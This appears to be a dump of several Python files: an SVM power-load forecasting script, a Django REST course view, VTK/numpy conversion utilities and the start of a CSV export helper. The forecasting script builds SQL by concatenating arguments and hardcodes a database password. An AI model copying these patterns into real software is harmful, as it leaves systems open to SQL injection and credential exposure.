__init__(self, date=[], real=[], predict=[], MAPE=0):\n self.date = date\n self.real = real\n self.predict = predict\n self.MAPE = MAPE\n\ndef data_search(searchtype, dd, ss, hld, fs, type=1, datatype=1):\n conn = pymysql.connect(host='localhost', port=3306, user='yxl', passwd='123456', db='powerload') # db：库名\n cur = conn.cursor()\n TempList = []\n Count = cur.execute('select ' + searchtype + ' from data' + dd + ss + hld + fs)\n results = cur.fetchall()\n result = list(results)\n for r in result:\n TempList.append(('%s' % r))\n if type == 1:\n if Count > Threshold:\n Temp = TempList[Count - Threshold:]\n else:\n Temp = TempList\n else:\n Temp = TempList\n cur.scroll(0, mode='absolute')\n cur.close()\n conn.close()\n if datatype == 1:\n TempList = []\n for num in Temp:\n num = float(num)\n TempList.append(num)\n return TempList\n else:\n cur.scroll(0, mode='absolute')\n return Temp\n\ndef pre_week(date_list,predict_type,index):\n conn = pymysql.connect(host='localhost', port=3306, user='yxl', passwd='123456', db='powerload') # db：库名\n cur = conn.cursor()\n current_data_list = []\n\n for date in date_list:\n current_data = []\n Count = cur.execute('select ' + predict_type + ' from data '\n 'where date = DATE_SUB(\"' + date + '\",'\n 'INTERVAL ' + str(index) + ' DAY);')\n if Count == 0:\n Count = cur.execute('select ' + predict_type + ' from data '\n 'where date = \"' + date + '\";')\n results = cur.fetchall()\n result = list(results)\n for r in result:\n current_data.append(('%s' % r))\n for num in current_data:\n num = float(num)\n current_data_list.append(num)\n\n cur.close()\n conn.close()\n return current_data_list\n\ndef CalMAPE(Data_List_1, Data_List_2):\n SumMAPE = 0\n for pl in range(len(Data_List_1)):\n SumMAPE += abs(Data_List_1[pl] - Data_List_2[pl]) / Data_List_1[pl]\n MAPE = SumMAPE / len(Data_List_1)\n return MAPE\n\ndef CalMASE(Data_List_1, Data_List_2):\n SumMASE_1 = 0\n SumMASE_2 = 0\n for pl in range(len(Data_List_1)):\n SumMASE_1 += abs(Data_List_2[pl] - Data_List_1[pl])\n if pl:\n SumMASE_2 += abs(Data_List_1[pl - 1] - Data_List_1[pl])\n MASE_1 = SumMASE_1 / len(Data_List_1)\n MASE_2 = SumMASE_2 / (len(Data_List_1) - 1)\n MASE = MASE_1 / MASE_2\n return MASE\n\ndef Predict_Main(date_start=\"2007-1-1\", date_end=\"2007-12-31\", paramter = 5, predicttype=\"Max\"):\n warnings.filterwarnings(\"ignore\")\n\n if predicttype == \"Max\":\n predict_type = \"PowerLoadMax\"\n elif predicttype == \"Aver\":\n predict_type = \"PowerLoadAver\"\n elif predicttype == \"Min\":\n predict_type = \"PowerLoadMin\"\n else:\n pass\n\n date_predict = []\n SVM_result = []\n\n conn = pymysql.connect(host='localhost', port=3306, user='yxl', passwd='123456', db='powerload') # db：库名\n cur = conn.cursor()\n Count = cur.execute('select date from data where date >= \"'\n + date_start + '\" and date <= \"' + date_end + '\";')\n results = cur.fetchall()\n result = list(results)\n for r in result:\n date_predict.append(('%s' % r))\n date_during = \" where date >= '\" + date_start + \"' and date <= '\" + date_end + \"'\"\n\n cur.scroll(0, mode='absolute')\n cur.close()\n conn.close()\n\n AverTemper_predict = data_search(\"AverTemper\", date_during, \"\", \"\", \";\", 0, 1)\n AverPress_predict = data_search(\"AverPress\", date_during, \"\", \"\", \";\", 0, 1)\n AverSPress_predict = data_search(\"AverSPress\", date_during, \"\", \"\", \";\", 0, 1)\n LowTemper_predict = data_search(\"LowTemper\", date_during, \"\", \"\", \";\", 0, 1)\n HighTemper_predict = data_search(\"HighTemper\", date_during, \"\", \"\", \";\", 0, 1)\n LowPress_predict = data_search(\"LowPress\", date_during, \"\", \"\", \";\", 0, 1)\n HighPress_predict = data_search(\"HighPress\", date_during, \"\", \"\", \";\", 0, 1)\n PowerLoadMax_real = data_search(predict_type, date_during, \"\", \"\", \";\", 0, 1)\n\n pre_best_i = 0\n pre_best_j = 0\n\n for date_index in range(len(date_predict)):\n date_during = \" where date < '\" + date_predict[date_index] + \"'\"\n season = \" and date in (select date from date where season = (select season from date where date = '\" + \\\n date_predict[date_index] + \"'))\"\n holiday = \" and date in (select date from date where holiday = (select holiday from date where date = '\" + \\\n date_predict[date_index] + \"') and week = (select week from date where date = '\" + \\\n date_predict[date_index] + \"'))\"\n finish_signal = \";\"\n\n if paramter == 1:\n season = \"\"\n holiday = \"\"\n elif paramter == 3:\n holiday = \"\"\n elif paramter == 5:\n season = \"\"\n else:\n pass\n\n data_history = data_search(\"date\", date_during, season, holiday, finish_signal, 1, 0) \\\n + [date_predict[date_index], ]\n AverTemper = data_search(\"AverTemper\", date_during, season, holiday, finish_signal, 1, 1) \\\n + [AverTemper_predict[date_index], ]\n AverPress = data_search(\"AverPress\", date_during, season, holiday, finish_signal, 1, 1) \\\n + [AverPress_predict[date_index], ]\n AverSPress = data_search(\"AverSPress\", date_during, season, holiday, finish_signal, 1, 1) \\\n + [AverSPress_predict[date_index], ]\n LowTemper = data_search(\"LowTemper\", date_during, season, holiday, finish_signal, 1, 1) \\\n + [LowTemper_predict[date_index], ]\n HighTemper = data_search(\"HighTemper\", date_during, season, holiday, finish_signal, 1, 1) \\\n + [HighTemper_predict[date_index], ]\n LowPress = data_search(\"LowPress\", date_during, season, holiday, finish_signal, 1, 1) \\\n + [LowPress_predict[date_index], ]\n HighPress = data_search(\"HighPress\", date_during, season, holiday, finish_signal, 1, 1) \\\n + [HighPress_predict[date_index], ]\n PowerLoadMax = data_search(predict_type, date_during, season, holiday, finish_signal, 1, 1)\n\n history_1 = pre_week(data_history, predict_type, 1)\n history_2 = pre_week(data_history, predict_type, 2)\n history_3 = pre_week(data_history, predict_type, 3)\n history_4 = pre_week(data_history, predict_type, 4)\n history_5 = pre_week(data_history, predict_type, 5)\n history_6 = pre_week(data_history, predict_type, 6)\n history_7 = pre_week(data_history, predict_type, 7)\n\n current_data = []\n current_data.append(AverTemper_predict[date_index])\n current_data.append(AverPress_predict[date_index])\n current_data.append(AverSPress_predict[date_index])\n current_data.append(LowTemper_predict[date_index])\n current_data.append(HighTemper_predict[date_index])\n current_data.append(LowPress_predict[date_index])\n current_data.append(HighPress_predict[date_index])\n current_data.append(history_1[len(history_1) - 1])\n current_data.append(history_2[len(history_2) - 1])\n current_data.append(history_3[len(history_3) - 1])\n current_data.append(history_4[len(history_4) - 1])\n current_data.append(history_5[len(history_5) - 1])\n current_data.append(history_6[len(history_6) - 1])\n current_data.append(history_7[len(history_7) - 1])\n\n samplein = np.mat([AverTemper, AverPress, AverSPress, LowTemper, HighTemper, LowPress, HighPress, history_1, history_2, history_3, history_4, history_5, history_6, history_7])\n sample_predict = np.mat([current_data, ] * len(data_history)).T\n sampleinminmax = np.array([samplein.min(axis=1).T.tolist()[0], samplein.max(axis=1).T.tolist()[0]]).transpose()\n sampleinnorm = ((np.array(samplein.T) - sampleinminmax.transpose()[0]) / (\n sampleinminmax.transpose()[1] - sampleinminmax.transpose()[0])).transpose()\n sample_predictnorm = ((np.array(sample_predict.T) - sampleinminmax.transpose()[0]) / (\n sampleinminmax.transpose()[1] - sampleinminmax.transpose()[0])).transpose()\n\n sample_temp = sampleinnorm - sample_predictnorm\n\n #得到当前日期最优解参数\n predict_finalresult = MaxValue\n current_best_i,current_best_j = 0,0\n for mu_index in range(len(muList)):\n for sigma_index in range(len(sigmaList)):\n SIMMartrix = np.zeros([sample_temp.shape[0], sample_temp.shape[1]])\n SIMCount = [0, ] * sample_temp.shape[1]\n\n for row in range(sample_temp.shape[0]):\n for column in range(sample_temp.shape[1]):\n if np.exp(-(sample_temp[row][column] ** 2) / (2 * sigmaList[sigma_index] * sigmaList[sigma_index])) >= muList[mu_index]:\n SIMMartrix[row][column] = 1\n SIMCount[column] += 1\n else:\n SIMMartrix[row][column] = 0\n\n SIMCount.pop()\n SVM_X = []\n SVM_y = []\n MaxIndexCount = 0\n for i in range(len(SIMCount)):\n if SIMCount[i] >= (max(SIMCount) - SIM_range):\n MaxIndexCount += 1\n SVM_X.append(\n [AverTemper[i], AverPress[i], AverSPress[i], LowTemper[i], HighTemper[i], LowPress[i],\n HighPress[i], history_1[i], history_2[i], history_3[i], history_4[i], history_5[i],\n history_6[i], history_7[i]])\n SVM_y.append(PowerLoadMax[i])\n\n predict_result = algorithm_SVM(SVM_X,SVM_y,current_data)\n if abs(predict_result - PowerLoadMax_real[date_index]) <= abs(predict_finalresult - PowerLoadMax_real[date_index]):\n predict_finalresult = predict_result\n current_best_i = mu_index\n current_best_j = sigma_index\n\n #通过上次的最优解参数得到当前日期的预测值\n SIMMartrix = np.zeros([sample_temp.shape[0], sample_temp.shape[1]])\n SIMCount = [0, ] * sample_temp.shape[1]\n\n for row in range(sample_temp.shape[0]):\n for column in range(sample_temp.shape[1]):\n if np.exp(-(sample_temp[row][column] ** 2) / (2 * sigmaList[pre_best_j] * sigmaList[pre_best_j])) >= muList[pre_best_i]:\n SIMMartrix[row][column] = 1\n SIMCount[column] += 1\n else:\n SIMMartrix[row][column] = 0\n\n SIMCount.pop()\n SVM_X = []\n SVM_y = []\n MaxIndexCount = 0\n for i in range(len(SIMCount)):\n if SIMCount[i] >= (max(SIMCount) - SIM_range):\n MaxIndexCount += 1\n SVM_X.append(\n [AverTemper[i], AverPress[i], AverSPress[i], LowTemper[i], HighTemper[i], LowPress[i],\n HighPress[i], history_1[i], history_2[i], history_3[i], history_4[i], history_5[i],\n history_6[i], history_7[i]])\n SVM_y.append(PowerLoadMax[i])\n\n current_predict_result = algorithm_SVM(SVM_X,SVM_y,current_data)\n\n SVM_result.append(current_predict_result)\n pre_best_i = current_best_i\n pre_best_j = current_best_j\n\n # 计算MAPE\\MASE\n MAPE = CalMAPE(PowerLoadMax_real, SVM_result)\n MASE = CalMASE(PowerLoadMax_real, SVM_result)\n print(\"MAPE:\" + str(round(MAPE * 100,2)) + \"%\")\n print(\"MASE:\" + str(round(MASE * 100, 2)) + \"%\")\n return PredictList(date_predict, PowerLoadMax_real, SVM_result, MAPE)\n\ndef algorithm_SVM(X,y,test):\n clf = svm.SVR(gamma='auto', C=75, epsilon=50)\n clf.fit(X, y)\n result = round(float(clf.predict(test)), 2)\n return result\n\nif __name__ == '__main__':\n start_date = [\"2007-1-1\",\"2007-2-1\",\"2007-3-1\",\"2007-4-1\",\"2007-5-1\",\"2007-6-1\",\"2007-7-1\",\"2007-8-1\",\"2007-9-1\",\"2007-10-1\",\"2007-11-1\",\"2007-12-1\"]\n end_date = [\"2007-1-31\",\"2007-2-28\",\"2007-3-31\",\"2007-4-30\",\"2007-5-31\",\"2007-6-30\",\"2007-7-31\",\"2007-8-31\",\"2007-9-30\",\"2007-10-31\",\"2007-11-30\",\"2007-12-31\"]\n for i in range(len(start_date)):\n print(\"start:\" + start_date[i] + \"---end:\" + end_date[i])\n Result = Predict_Main(start_date[i], end_date[i])\n Result = Predict_Main()\n","sub_path":"ForcastingAlgorithm/SVM/Moudle.py","file_name":"Moudle.py","file_ext":"py","file_size_in_byte":13998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"139492148","text":"from rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom api import models\nfrom rest_framework.viewsets import GenericViewSet, ViewSetMixin, ModelViewSet\nfrom api.serializers.course import CourseSerializer, CourseDetailSerializer\nfrom api.auth.auth import TokenAuth\n\n\nclass CourseView(ModelViewSet):\n def list(self, request, *args, **kwargs):\n\n ret = {'code': 1000, 'data': None}\n\n try:\n queryset = models.Course.objects.all()\n ser = CourseSerializer(instance=queryset, many=True)\n ret[\"data\"] = ser.data\n except Exception as e:\n ret[\"code\"] = 1001\n ret[\"data\"] = \"error:\" + str(e)\n\n return Response(ret)\n\n def retrieve(self, request, *args, **kwargs):\n ret = {'code': 1000, 'data': None}\n try:\n pk = kwargs.get(\"pk\")\n print(pk)\n queryset = models.CourseDetail.objects.filter(course_id=pk).first()\n ser = CourseDetailSerializer(instance=queryset, many=False)\n ret[\"data\"] = ser.data\n except Exception as e:\n ret[\"code\"] = 1001\n ret[\"data\"] = \"error:\" + str(e)\n\n return Response(ret)\n","sub_path":"web_server/luffycity/api/views/course.py","file_name":"course.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"494839801","text":"from functools import reduce\n\nimport numpy as np\nimport pandas as pd\nimport vtk\nfrom vtk.util import numpy_support\nfrom vtk.util.numpy_support import vtk_to_numpy\nimport warnings\n\n\ndef read_vtp(input_file):\n \"\"\" Read vtk poly data file and output vtkPolyData\n :param input_file: path to vtkXMLPolyData (vtp) file\n :return: vtkPolyData\n \"\"\"\n reader = vtk.vtkXMLPolyDataReader()\n reader.SetFileName(input_file)\n reader.Update()\n return reader.GetOutput()\n\n\ndef read_vti(input_file):\n \"\"\" Read vtk poly data file and output vtkImageData\n :param input_file: path to vtkImageData (vti) file\n :return: vtkImageData\n \"\"\"\n reader = vtk.vtkXMLImageDataReader()\n reader.SetFileName(input_file)\n reader.Update()\n return reader.GetOutput()\n\n\ndef write_vti(image, output_filename):\n \"\"\" Write vtk image data to output vti file\n :params:\n image: vtkImageData to write\n output_filename: path to output vti file to write\n \"\"\"\n writer = vtk.vtkXMLImageDataWriter()\n writer.SetFileName(output_filename)\n if vtk.VTK_MAJOR_VERSION <= 5:\n writer.SetInputConnection(image.GetProducerPort())\n else:\n writer.SetInputData(image)\n writer.Write()\n\n\ndef vti_to_numpy(vti_image, channel_names=None, dtype=np.float32, xyz_transpose=True):\n \"\"\"\n Create a numpy.ndarray from a vti image\n\n :param vti_image: vtkImageData\n :param channel_names: array columns you want extract.\n If `None` all channels will be extracted (Default)\n :param dtype: type of array to return (default float32)\n :param xyz_transpose: Transpose from z,y,x ordering to x,y,z ordering\n :return: numpy.ndarray of shape:\n (nx,ny,nz,n_channels) if xyz_transpose=True or\n (nx,ny,nx,n_channels) if xyz_transpose=False\n \"\"\"\n nx, ny, nz = vti_image.GetDimensions()\n point_data = vti_image.GetPointData()\n\n if channel_names is None:\n num_channels = point_data.GetNumberOfArrays()\n channel_names = [point_data.GetArrayName(i) for i in range(num_channels)]\n\n vtk_arrays = [point_data.GetArray(channel) for channel in channel_names]\n\n image_channels_flat = [vtk_to_numpy(vtk_array) for vtk_array in vtk_arrays]\n\n image_channels = [image_flat.reshape(nz, ny, nx) for image_flat in image_channels_flat]\n\n if xyz_transpose:\n image_channels = [image_zyx.transpose() for image_zyx in image_channels]\n\n image_channels = np.stack(image_channels, axis=-1).astype(dtype) # Last dimension is channel\n\n return image_channels\n\n\ndef vti_to_numpy_multiple_channels(vti_image, channel_names, dtype=np.float32, xyz_transpose=True):\n \"\"\"\n Create a numpy.ndarray from a vti image\n\n :param vti_image: vtkImageData\n :param channel_names: array columns you want extract.\n If `None` all channels will be extracted (Default)\n :param dtype: type of array to return (default float32)\n :param xyz_transpose: Transpose from z,y,x ordering to x,y,z ordering\n :return: numpy.ndarray of shape:\n (nx,ny,nz,n_channels) if xyz_transpose=True or\n (nx,ny,nx,n_channels) if xyz_transpose=False\n \"\"\"\n warnings.warn('vti_to_numpy_multiple_channels is deprecated; use vti_to_numpy(...).',\n DeprecationWarning)\n\n return vti_to_numpy(vti_image=vti_image, channel_names=channel_names,\n dtype=dtype, xyz_transpose=xyz_transpose)\n\n\ndef numpy_to_vti(array, spacing, origin, dimensions, array_name, xyz_transpose=True):\n \"\"\"\n Convert numpy array to a vti image (vtkImageData)\n :param array: numpy.ndarray\n :param spacing: Voxel spacing\n :param origin: image origin\n :param dimensions: number of voxels in each dimension (nx,ny,nz)\n :param array_name: Name to assign the array in the vti image\n :param xyz_transpose: Transpose from x,y,z ordering to z,y,x ordering. Note VTK uses z,y,z\n :return: vtkImageData\n \"\"\"\n image = create_empty_vtk_image_data(spacing, origin, dimensions)\n vtk_array = numpy_support.numpy_to_vtk(array.transpose().flatten() if xyz_transpose else array.flatten())\n vtk_array.SetName(array_name)\n image.GetPointData().AddArray(vtk_array)\n return image\n\n\ndef numpy_to_vti_multiple_channels(array, spacing, origin, dimensions, array_names, channels_last=True,\n xyz_transpose=True, xyz_dimensions=(0, 1, 2)):\n \"\"\"\n Convert numpy array to a vti image (vtkImageData)\n\n Default usage assumes that the array is ordered [x,y,z,channel]\n\n numpy_to_vti_multiple_channels(np_image,(3,3,3), (0,0,0), (50,100,10), ['TwoSix', 'MLEM'])\n\n Another example where the channels are first\n\n numpy_to_vti_multiple_channels(np_image,(3,3,3), (0,0,0), (50,100,10), ['TwoSix', 'MLEM'],channel_dimension=0)\n\n Array is already ordered zyx:\n numpy_to_vti_multiple_channels(np_image,(3,3,3), (0,0,0), (50,100,10), ['TwoSix', 'MLEM'],\n xyz_transpose=False)\n\n :param array: numpy.ndarray\n :param spacing: Voxel spacing\n :param origin: image origin\n :param dimensions: number of voxels in each dimension (nx,ny,nz)\n :param array_names: Names to assign the arrays in the vti image\n :param channels_last: True If the channels are last. else assumes channels are first. Default is last (True)\n :param xyz_transpose: Transpose from x,y,z ordering to z,y,x ordering. Note VTK uses z,y,z\n :param xyz_dimensions: Dimensions of the x, y, & z values. Default is (0,1,2).\n :return: vtkImageData\n \"\"\"\n image = create_empty_vtk_image_data(spacing, origin, dimensions)\n\n array_dimensions = range(len(array.shape))\n xdim, ydim, zdim = xyz_dimensions\n\n if channels_last:\n last_dim = len(array.shape) - 1\n\n # Sort the dimensions so the channel is first\n channel_first_dims = sorted(array_dimensions, key=lambda dim: dim if dim != last_dim else np.NINF)\n\n # Transpose so channel is first. Easier for looping over channels\n array = array.transpose(channel_first_dims)\n\n # Add one to the x,y,z dimension because the were shifted down in the channel transpose\n xdim, ydim, zdim = [dim + 1 for dim in xyz_dimensions]\n\n if xyz_transpose:\n array = array.transpose(0, zdim, ydim, xdim) # [channel,z,y,x]\n\n for name, channel_array in zip(array_names, array):\n vtk_array = numpy_support.numpy_to_vtk(channel_array)\n vtk_array.SetName(name)\n image.GetPointData().AddArray(vtk_array)\n\n return image\n\n\ndef create_empty_vtk_image_data(spacing, origin, dimensions):\n \"\"\" Create a vti image data of doubles\n :params:\n spacing: tuple of spacing for x,y,z\n origin: tuple of x,y,z origin\n dimensions: tuple of number of voxels in nx,ny,nz\n :return:\n vtk image data\n \"\"\"\n image = vtk.vtkImageData()\n image.SetSpacing(*spacing)\n image.SetOrigin(*origin)\n image.SetDimensions(*dimensions)\n return image\n\n\ndef real_to_structured_coordinates(image, xmin, xmax, ymin, ymax, zmin, zmax, as_slice=True):\n \"\"\"\n Generate a a tuple of slices in structured image coordinates from\n real extents locations. Structured coordinates are the indices of an image\n\n extent_columns = ['xmin', 'xmax', 'ymin', 'ymax', 'zmin', 'zmax']\n\n crop_coords = real_to_structured_coordinates(img,*row[extent_columns])\n img_np = vti_to_numpy(img)\n cropped_voxels = img_np[crop_coords]\n\n ... or for labeling an image\n\n truth_image_np = np.zeros_like(image_np)\n truth_image_np[crop_coords] = 1\n\n :param image: vti image\n :param xmin: minimum x extent in real coordinate space\n :param xmax: maximum x extent in real coordinate space\n :param ymin: minimum y extent in real coordinate space\n :param ymax: maximum y extent in real coordinate space\n :param zmin: minimum z extent in real coordinate space\n :param zmax: maximum z extent in real coordinate space\n :param as_slice: return a slice object if True else return list of tuple pairs extents\n :return: (slice(imin:imin),slice(jmin:jmin),slice(kmin:kmin))\n \"\"\"\n min_voxel_ijk = [int()] * 3\n max_voxel_ijk = [int()] * 3\n pcoords = [float()] * 3\n\n image.ComputeStructuredCoordinates([xmin, ymin, zmin], min_voxel_ijk, pcoords)\n image.ComputeStructuredCoordinates([xmax, ymax, zmax], max_voxel_ijk, pcoords)\n\n # We don't want a zero index starting voxel coordinate\n min_voxel_ijk = [max((i, 1)) for i in min_voxel_ijk]\n\n # Lets create a slice region on each dimension so we can crop higher dimensional blocks :)\n coords_slices = [(imin, imax) for imin, imax in zip(min_voxel_ijk, max_voxel_ijk)]\n\n if as_slice: # give me a slice bro!\n coords_slices = [slice(*extents) for extents in coords_slices]\n\n return tuple(coords_slices)\n\n\ndef real_to_structured_coordinates2(image, xmin, xmax, ymin, ymax, zmin, zmax):\n \"\"\"\n Generate a a tuple of slices in structured image coordinates from\n real extents locations.\n\n extent_columns = ['xmin', 'xmax', 'ymin', 'ymax', 'zmin', 'zmax']\n\n crop_coords = real_to_structured_coordinates(img,*row[extent_columns])\n img_np = vti_to_numpy(img)\n cropped_voxels = img_np[crop_coords]\n\n ... or for labeling an image\n\n truth_image_np = np.zeros_like(image_np)\n truth_image_np[crop_coords] = 1\n\n :param image: vti image\n :param xmin xmax ymin ymax zmin zmax:\n :return: (slice(imin:imin),slice(jmin:jmin),slice(kmin:kmin))\n \"\"\"\n\n warnings.warn('real_to_structured_coordinates2 is deprecated; use real_to_structured_coordinates(...).',\n DeprecationWarning)\n\n return real_to_structured_coordinates(image=image,\n xmin=xmin, xmax=xmax,\n ymin=ymin, ymax=ymax,\n zmin=zmin, zmax=zmax,\n as_slice=True)\n\n\ndef extract_volume(image, xmin, xmax, ymin, ymax, zmin, zmax):\n \"\"\"\n Extract a volume from a vtkImageData\n :param image:\n :param xmin xmax ymin ymax zmin zmax:\n :return: Extracted volume vtkImageData\n \"\"\"\n min_voxel_ijk = [int()] * 3\n max_voxel_ijk = [int()] * 3\n pcoords = [float()] * 3\n\n image.ComputeStructuredCoordinates([xmin, ymin, zmin], min_voxel_ijk, pcoords)\n image.ComputeStructuredCoordinates([xmax, ymax, zmax], max_voxel_ijk, pcoords)\n\n def if_zero(value):\n if value == 0:\n return value\n else:\n return value + 1\n\n start_voxel_ijk = list(map(if_zero, min_voxel_ijk))\n extents_ijk = list(reduce(lambda i, j: i + j, list(zip(start_voxel_ijk, max_voxel_ijk))))\n\n vtk_extract_voi = vtk.vtkExtractVOI()\n if vtk.vtkVersion.GetVTKMajorVersion() < 6:\n vtk_extract_voi.SetInput(image)\n else:\n vtk_extract_voi.SetInputData(image)\n\n vtk_extract_voi.SetVOI(*extents_ijk)\n vtk_extract_voi.Update()\n\n return vtk_extract_voi.GetOutput()\n\n\ndef extractVOI(image, b0, b1, b2, b3, b4, b5):\n warnings.warn('extract_volume is deprecated; use extract_volume(...).',\n DeprecationWarning)\n\n return extract_volume(image=image, xmin=b0, xmax=b1, ymin=b2, ymax=b3, zmin=b4, zmax=b5)\n\n\ndef does_intersect_np(row1, row2):\n \"\"\" xmin, xmax, ymin, ymax, zmin, zmax\n 0 1 2 3 4 5\n \"\"\"\n intersect_volume = reduce(lambda i, j: i * j \\\n , [max(min(*vmin_vmax[1]) - max(*vmin_vmax[0]), 0) for vmin_vmax in\n [((row2[0], row1[0]), (row2[1], row1[1]))\n , ((row2[2], row1[2]), (row2[3], row1[3]))\n , ((row2[4], row1[4]), (row2[5], row1[5]))]])\n return intersect_volume > 0\n\n\ndef percent_volume_of_intersection_np(gridrow, truthrow):\n \"\"\" xmin, xmax, ymin, ymax, zmin, zmax\n 0 1 2 3 4 5\n \"\"\"\n total_volume = reduce(lambda i, j: i * j\n , [vmin_vmax1[1] - vmin_vmax1[0] for vmin_vmax1 in [(gridrow[0], gridrow[1])\n , (gridrow[2], gridrow[3])\n , (gridrow[4], gridrow[5])]])\n intersect_volume = reduce(lambda i, j: i * j\n , [max(min(*vmin_vmax2[1]) - max(*vmin_vmax2[0]), 0) for vmin_vmax2 in\n [((truthrow[0], gridrow[0]), (truthrow[1], gridrow[1]))\n , ((truthrow[2], gridrow[2]), (truthrow[3], gridrow[3]))\n , ((truthrow[4], gridrow[4]), (truthrow[5], gridrow[5]))]])\n return intersect_volume / total_volume\n\n\ndef vtp_points_to_df(input_file):\n vtp = read_vtp(input_file)\n points = []\n for i in range(vtp.GetNumberOfPoints()):\n points.append(dict(list(zip(['x', 'y', 'z'], vtp.GetPoint(i)))))\n df = pd.DataFrame(points)\n df.sort_values(['x', 'y', 'z'], inplace=True)\n return df\n\n\ndef vti_to_df(input_file):\n vtk_image_data = read_vti(input_file)\n point_data = vtk_image_data.GetPointData()\n field_data = vtk_image_data.GetFieldData()\n\n data_dict = {}\n # Add field data\n for i in range(field_data.GetNumberOfArrays()):\n array_name = field_data.GetArrayName(i)\n array = field_data.GetArray(array_name)\n if array is None:\n array = field_data.GetAbstractArray(i)\n data_dict[array_name] = list(map(array.GetValue, range(array.GetNumberOfTuples())))\n\n # Add point data\n for i in range(point_data.GetNumberOfArrays()):\n array_name = point_data.GetArrayName(i)\n array = point_data.GetArray(array_name)\n if array is None:\n continue\n data_dict[array_name] = list(map(array.GetValue, range(array.GetNumberOfTuples())))\n\n num_rows = max(list(map(len, iter(data_dict.values()))))\n data_dict = {k: v + [None] * (num_rows - len(v)) for (k, v) in data_dict.items()}\n\n return pd.DataFrame(data_dict)\n\n\ndef vtp_to_df(input_file):\n poly_data = read_vtp(input_file)\n field_data = poly_data.GetFieldData()\n data_dict = {}\n # Add field data\n for i in range(field_data.GetNumberOfArrays()):\n array_name = field_data.GetArrayName(i)\n array = field_data.GetArray(array_name)\n if array is None:\n array = field_data.GetAbstractArray(i)\n values_list = list(map(array.GetValue, range(array.GetNumberOfTuples())))\n data_dict[array_name] = values_list\n\n num_rows = max(list(map(len, iter(data_dict.values()))))\n data_dict = {k: v + [None] * (num_rows - len(v)) for (k, v) in data_dict.items()}\n return pd.DataFrame(data_dict)\n\n\ndef df_to_vtp(df, output_path):\n append = vtk.vtkAppendPolyData()\n\n for index, row in df.iterrows():\n cube = vtk.vtkCubeSource()\n xcom = 0.5 * (row.xmax + row.xmin)\n ycom = 0.5 * (row.ymax + row.ymin)\n zcom = 0.5 * (row.zmax + row.zmin)\n xsize = row.xmax - row.xmin\n ysize = row.ymax - row.ymin\n zsize = row.zmax - row.zmin\n cube.SetCenter(xcom, ycom, zcom)\n cube.SetXLength(xsize)\n cube.SetYLength(ysize)\n cube.SetZLength(zsize)\n cube.Update()\n\n append.AddInput(cube.GetOutput())\n\n append.Update()\n\n writer = vtk.vtkXMLPolyDataWriter()\n writer.SetInput(append.GetOutput())\n writer.SetFileName(output_path)\n writer.Write()\n\n\ndef df_to_vti(df, column, output_filename, resample_factor=1\n , x_column='x'\n , y_column='y'\n , z_column='z'):\n \"\"\" Create a vti file from a data frame based on a column/s\n :params:\n image: vtkImageData to write\n output_filename: path to output vti file to write\n \"\"\"\n\n # Get the unique x,y,z values\n xs, ys, zs = [sorted(df[col].unique().tolist()) for col in [x_column, y_column, z_column]]\n\n # Get the number in each dimension\n nx, ny, nz = list(map(len, [xs, ys, zs]))\n\n resample_df = get_resample_index_lists(resample_factor, xs, ys, zs)\n volume_size = xs[1] - xs[0]\n resample_volume_size = (xs[1] - xs[0]) * 1.0 / resample_factor\n\n spacing = (resample_volume_size, resample_volume_size, resample_volume_size)\n origin = [i - volume_size / 2.0 for i in [xs[0], ys[0], zs[0]]]\n dimensions = [resample_factor * n for n in [nx, ny, nz]]\n\n image = create_empty_vtk_image_data(spacing, origin, dimensions)\n dims = image.GetDimensions()\n\n # Handle the case if only one column is passed in\n if isinstance(column, str):\n filter_columns = [column]\n else:\n filter_columns = column\n\n filter_image_data = {}\n for filter_name in filter_columns:\n filter_image_data[filter_name] = vtk.vtkDoubleArray()\n filter_image_data[filter_name].SetName(filter_name)\n filter_image_data[filter_name].SetNumberOfComponents(1)\n filter_image_data[filter_name].SetNumberOfTuples(image.GetNumberOfPoints())\n\n # first sort\n df_sorted = df.sort_values([x_column, y_column, z_column])\n df_sorted.dropna(subset=filter_columns, inplace=True)\n\n # convert to list\n filter_voxel_values_list = df_sorted[filter_columns].values.tolist()\n\n # for indexing in vti\n ixyz = 0\n # go through entire list\n for filter_voxel_values in filter_voxel_values_list:\n # print 'filter_voxel_values:',filter_voxel_values\n for iixyz in resample_df[resample_df.ixyz == ixyz]['iixyz_list'].values[0]:\n # they are in order\n for ifilter, filter_name in enumerate(filter_columns):\n filter_image_data[filter_name].SetValue(iixyz, filter_voxel_values[ifilter])\n ixyz += 1\n\n for filter_name in filter_columns:\n image.GetPointData().AddArray(filter_image_data[filter_name])\n\n # Write the image\n write_vti(image, output_filename)\n\n\ndef get_resample_index_lists(resample_factor\n , xs, ys, zs):\n xs.sort()\n ys.sort()\n zs.sort()\n\n nxrs = resample_factor * len(xs)\n nyrs = resample_factor * len(ys)\n nzrs = resample_factor * len(zs)\n\n ixyz = 0\n ixyz_iixyz_dict_list = []\n # for iz,z in enumerate(zs):\n for ix, x in enumerate(xs):\n for iy, y in enumerate(ys):\n # for ix,x in enumerate(xs):\n for iz, z in enumerate(zs):\n ixyz_iixyz_dict = {'ixyz': int(ixyz), 'iixyz_list': []}\n # resampling loops\n for iiz in range(iz * resample_factor, iz * resample_factor + resample_factor):\n for iiy in range(iy * resample_factor, iy * resample_factor + resample_factor):\n for iix in range(ix * resample_factor, ix * resample_factor + resample_factor):\n iixyz = iix + iiy * nxrs + iiz * nxrs * nyrs\n ixyz_iixyz_dict['iixyz_list'].append(iixyz)\n ixyz_iixyz_dict_list.append(ixyz_iixyz_dict)\n ixyz += 1\n return pd.DataFrame(ixyz_iixyz_dict_list)\n","sub_path":"vtk_util.py","file_name":"vtk_util.py","file_ext":"py","file_size_in_byte":19043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"417021486","text":"#!/usr/bin/env python\nimport sys\nfrom datetime import datetime, date\n\n__all__ = ['rec2csv_neat']\n\ndef rec2csv_neat(rec, f, formatd={}, delimiter=','):\n \"\"\"rec2csv_neat is a neat version of mlab.rec2csv.\n rec: recarray to save.\n formatd: dict of formats for each fields, who's values may be format str, function, etc. For field 'datetime','date','time', '%Y%m%d...' style format can be used\"\n \"\"\"\n dtp = rec.dtype\n fieldnames = dtp.names\n formaters = {}\n for fn in 